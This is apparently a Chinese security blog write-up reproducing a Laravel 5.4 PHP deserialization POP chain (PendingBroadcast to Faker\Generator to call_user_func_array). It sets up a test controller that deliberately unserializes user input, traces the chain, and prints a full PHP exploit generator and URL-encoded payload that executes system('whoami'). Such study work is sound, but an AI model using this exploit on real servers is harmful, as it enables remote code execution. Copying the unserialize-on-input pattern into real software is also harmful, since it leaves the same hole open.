文章目录
-
- [0x01 环境搭建](#0x01 环境搭建)
- [0x02 POP 链](#0x02 POP 链)
- [0x03 exp](#0x03 exp)
- [0x04 总结](#0x04 总结)
前言:CC 链复现的头晕,还是从简单的 Laravel 开始吧。
laravel 版本:5.4
0x01 环境搭建
安装后配置验证页面。在 /routes/web.php
文件中添加一条路由,原先的路由注释
Route::get("/","\App\Http\Controllers\POPController@test");
然后在/app/Http/Controllers/
下添加 POPController 控制器。函数名要和路由里写的一样
php
<?php
namespace App\Http\Controllers;
class POPController extends Controller{
public function test(){
if(isset($_GET['test'])){
unserialize($_GET['test']);
}
else{
echo "Welcome!";
}
}
}
访问页面看到 welcome 即配置正确
0x02 POP 链
一般来说我们寻找序列化漏洞,都是从__destruct()
或者__wakeup()
开始的。
这里找的入口点是 PendingBroadcast.php 里的 PendingBroadcast 类的 __destruct() 方法,而且 t h i s − > e v e n t s , this->events, this−>events,this->event 可控。
php
public function __destruct()
{
$this->events->dispatch($this->event);
}
到这里我们要继续往回找一般有两种思路。
- 找某个类的 __call 方法,且这个类没有 dispatch 方法
- 找某个类存在 dispatch 方法
这里选择第一个思路,找到了 Faker\Generator (听说 yii 的链子也有这个,有机会复现一下)
__call() //在对象上下文中调用不可访问的方法时触发,第一个参数是方法,第二个参数是方法里参数组成的数组
php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
m e t h o d , method, method,attributes 都可控,就是 PendingBroadcast 类的 __destruct() 方法的 t h i s − > e v e n t s , this->events, this−>events,this->event。
继续跟进 $this->format 方法
php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
漏洞点就在这个 call_user_func_array
上了,$formatter
, $arguments
可控,跟进 $this->getFormatter
方法
php
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
可以发现$this->formatters[$formatter]
我们可以控制,然后直接 return
构造一下链子
php
Illuminate\Broadcasting\PendingBroadcastL::__destruct -> Faker\Generator::dispatch -> Faker\Generator::__call -> Faker\Generator::format -> call_user_func_array
0x03 exp
php
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($fun)
{
$this -> formatters = ["dispatch" => $fun];
}
}
}
namespace {
$a = new Faker\Generator("system");
$b = new Illuminate\Broadcasting\PendingBroadcast($a,"whoami");
echo urlencode(serialize($b));
}
payload:
test=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A5%3A%22event%22%3Bs%3A6%3A%22whoami%22%3Bs%3A6%3A%22events%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A8%3A%22dispatch%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D
0x04 总结
复现的第一条 php 的链子,真的比 java 友好太多了 555。另外不止这一条链子,这位师傅给了6条